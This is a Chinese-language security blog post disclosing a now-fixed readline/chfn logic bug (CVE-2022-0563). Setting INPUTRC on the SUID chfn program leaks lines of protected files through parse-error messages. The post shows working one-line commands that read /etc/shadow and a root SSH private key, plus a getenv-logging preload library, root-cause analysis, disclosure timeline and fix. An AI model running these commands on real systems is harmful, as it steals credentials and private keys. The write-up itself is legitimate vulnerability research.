利用SUID逻辑漏洞:深入解析Readline配置解析漏洞

本文详细分析了readline库中的一个逻辑漏洞,该漏洞在解析INPUTRC环境变量指定的文件时会泄露部分文件内容,攻击者可利用此漏洞横向移动并读取SSH私钥等敏感信息。

Readline犯罪:利用SUID逻辑漏洞

发现漏洞

最近在深入研究SUID漏洞时,我发现了readline依赖中的一个逻辑漏洞。该漏洞在解析INPUTRC环境变量指定的文件时,会部分泄露文件信息。攻击者可以利用此漏洞在运行sshd的主机上横向移动,前提是特定用户能够登录且其私钥存储在已知位置(如/home/user/.ssh/id_rsa)。

该漏洞已于2022年2月报告并修复,且chfn通常不由util-linux提供,因此您的系统可能不受影响。我撰写本文是因为这个漏洞利用非常有趣,它之所以可行,是因为readline配置文件解析函数与SSH密钥格式的巧合匹配——本文将详细解释这一点。

TL;DR:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$ INPUTRC=/root/.ssh/id_rsa chfn
Changing finger information for user.
Password:
readline: /root/.ssh/id_rsa: line 1: -----BEGIN: unknown key modifier
readline: /root/.ssh/id_rsa: line 2: b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn: no key sequence terminator
...
readline: /root/.ssh/id_rsa: line 37: avxwhoky6ozXEAAAAJcm9vdEBNQVRFAQI=: no key sequence terminator
readline: /root/.ssh/id_rsa: line 38: -----END: unknown key modifier
Office [b]: ^C
$

寻找漏洞

在深入研究SUID漏洞后,我受到启发开始研究环境变量作为攻击面。为了记录getenv调用,我向/etc/ld.so.preload添加了一个拦截库:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#define _GNU_SOURCE
#include <dlfcn.h>
#include <syslog.h>

// gcc getenv.c -fPIC -shared -ldl -o getenv.so

char *(*_real_getenv)(const char *) = 0;
char *getenv(const char *name) {
      if(!_real_getenv) _real_getenv = dlsym(RTLD_NEXT, "getenv");
      char *res = _real_getenv(name);
      syslog(1, "getenv(\"%s\") => \"%s\"\n", name, res);
      return res;
}

注意: 我们假设这就是我一开始的做法,没有浪费时间在gdb下启动SUID进程。

安装日志库后,我运行find / -perm /4000来查找系统上的所有SUID二进制文件。

警告: 记录所有getenv调用非常嘈杂,会产生许多重复且无趣的结果。在经历了无数LC_MESSAGES、SYSTEMD_IGNORE_USERDB、SYSTEMD_IGNORE_CHROOT等变体后,我发现了INPUTRC,它在chfn命令的某处使用。直觉告诉我INPUTRC指的是配置文件,我盲目地传递了INPUTRC=/etc/shadow来看看会发生什么:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
$ INPUTRC=/etc/shadow chfn
Changing finger information for user.
Password:
readline: /etc/shadow: line 9: systemd-journal-remote: unknown key modifier
readline: /etc/shadow: line 10: systemd-network: unknown key modifier
readline: /etc/shadow: line 11: systemd-oom: unknown key modifier
readline: /etc/shadow: line 12: systemd-resolve: unknown key modifier
readline: /etc/shadow: line 13: systemd-timesync: unknown key modifier
readline: /etc/shadow: line 14: systemd-coredump: unknown key modifier
Office [b]: ^C
$

嗯。/etc/shadow?在我的终端里?这比您想象的要可能。

深入分析:根本原因

我的第一反应是谷歌“INPUTRC”。有帮助的是,搜索结果的第一个条目给了我线索,表明它与readline库有关。确实,通过挖掘readline-8.1源代码,我发现“INPUTRC”通过sh_get_env_value作为参数传递给getenv。看起来没错!

1
2
3
4
int rl_read_init_file (const char *filename) {
  // ...
  if (filename == 0)
    filename = sh_get_env_value ("INPUTRC");     // <- 找到了

在readline代码库中搜索我们之前看到的错误消息“unknown key modifier”也会返回结果。rl_read_init_file调用_rl_read_init_file,后者路由到rl_parse_and_bind函数,该函数发出错误。从这个调用栈中,我们可以推断错误发生在readline尝试解析输入文件时——特别是当它试图将文件内容解释为键绑定配置时。

让我们从头开始。跳过空白后,_rl_read_init_file为输入文件中的每个非注释行调用rl_parse_and_bind。rl_parse_and_bind函数包含四个错误路径,这些路径会导致_rl_init_file_error,该函数打印当前正在解析的行。这就是漏洞的根源,因为readline不知道它正在以提升的权限运行,并假设打印输入文件的部分内容是安全的。

_rl_init_file_error在1557、1569、1684和1759行被调用,参数string是循环处理配置文件时的当前行。其他几个错误路径可能导致当前行的部分泄露;为简洁起见,此处省略。我们也将跳过传递二进制文件时会发生的情况。

通过检查到达上述路径所需的条件,我们可以推断出从文件中泄露行的条件:

  1. 我们可以泄露以引号开头且没有闭合引号的行:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
if (*string == '"') {
    i = _rl_skip_to_delim (string, 1, '"');

    /* If we didn't find a closing quote, abort the line. */
    if (string[i] == '\0') {
        _rl_init_file_error ("%s: no closing `\"' in key binding", string);
        return 1;
      }
    else
      i++;    /* skip past closing double quote */
  }
1
2
3
4
5
6
7
8
$ cat test
"AAAAA
$ INPUTRC=test chfn
Changing finger information for user.
Password:
readline: test: line 1: "AAAAA: no closing `"' in key binding
Office [test]: ^C
$
  1. 我们可以泄露以冒号开头且不包含空格或空值的行:
1
2
3
4
5
6
7
8
9
i = 0;
// ...
/* Advance to the colon (:) or whitespace which separates the two objects. */
for (; (c = string[i]) && c != ':' && c != ' ' && c != '\t'; i++ );

if (i == 0) {
    _rl_init_file_error ("`%s': invalid key binding: missing key sequence", string);
    return 1;
  }
1
2
3
4
5
6
7
8
$ cat test
:AAAAA
$ INPUTRC=test chfn
Changing finger information for user.
Password:
readline: test: line 1: `:AAAAA: invalid key binding: missing key sequence
Office [test]: ^C
$
  1. 我们可以泄露不包含空格、制表符或冒号(或空值)的行:
1
2
3
4
5
6
7
8
for (; (c = string[i]) && c != ':' && c != ' ' && c != '\t'; i++ );
// ...
foundsep = c != 0;
// ...
if (foundsep == 0) {
   _rl_init_file_error ("%s: no key sequence terminator", string);
   return 1;
 }
1
2
3
4
5
6
7
8
$ cat test
AAAAA
$ INPUTRC=test chfn
Changing finger information for user.
Password:
readline: test: line 1: AAAAA: no key sequence terminator
Office [test]: ^C
$

幸运的是,SSH密钥匹配第三条路径,因此我们可以停在这里。好吧,关键部分匹配——所有密钥数据通常都在PEM容器中进行Base64编码。我们也可以使用此漏洞读取PEM容器内的任何其他内容,例如证书文件;或者只是base64编码的内容,例如wireguard密钥。

影响

该漏洞于2017年在版本2.30-rc1中引入,这意味着该漏洞足够老,可以影响LTS版本。然而;Debian、Red Hat和Ubuntu的chfn由不同的包提供,因此不受影响。在Red Hat的默认配置中,/etc/login.defs不包含CHFN_RESTRICT。这个遗漏会阻止util-linux/chfn更改任何用户信息,从而也会杀死漏洞。在我的测试中,CentOS或Fedora似乎默认也没有安装chfn。

那么,除了chfn之外,这个漏洞的影响有多大?readline相当知名,但我们在这里感兴趣的是它在SUID二进制文件中的使用。在我的Arch系统上对每个SUID运行ldd显示,该库仅由chfn使用…我们如何快速确定更广泛的影响?

我首先想到的是扫描包存储库,但不幸的是,Debian、Ubuntu、Fedora、CentOS或Arch包存储库的Web界面都没有提供文件模式…这意味着我们没有足够的信息来确定给定包中的任何二进制文件是否是SUID。

因此,我镜像了Debian和Arch的x86_64存储库,并手动检查它们,辅以一些糟糕的shell脚本。这项工作的要点是,Arch是唯一一个包含SUID可执行文件(chfn)的发行版,该文件默认加载readline。哦,好吧!

不要在SUID应用程序中使用readline

这基本上是通过电子邮件链发送给Arch和Red Hat安全团队以及包维护者的结果,后者继续从chfn中移除了readline支持。该漏洞大约在一年前修复,因此希望大多数受影响的用户已经更新。

作业: 去看看有多少SUID使用ncurses——至少在macOS上——并尝试弄乱TERMINFO环境变量…如果您发现任何东西,请告诉我:^)

致谢

感谢Karel Zak以及Arch和Red Hat安全团队,他们都非常有帮助且迅速推出了修复程序。也感谢disconnect3d的帮助和建议。

时间线

  • 2017年5月2日:漏洞引入
  • 2020年12月31日:全局时间线重置
  • 2022年2月8日:向Arch和util-linux上游报告漏洞
  • 2022年2月14日:在util-linux上游修复漏洞
  • 2022年3月28日:撰写关于发现漏洞的博客文章草稿
  • 2022年5月12日:内部发布博客文章
  • 2022年5月至2023年2月:拖延^H 允许时间进行更新
  • 2023年2月16日:发布博客文章

参考文献

  • 漏洞在版本2.30-rc1中引入
  • 宣布util-linux v2.37.4发布
  • CVE-2022-0563
  • Red Hat Bugzilla: Bug 2053151
  • util-linux存储库:从chsh、chfn中移除readline支持 [CVE-2022-0563]
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计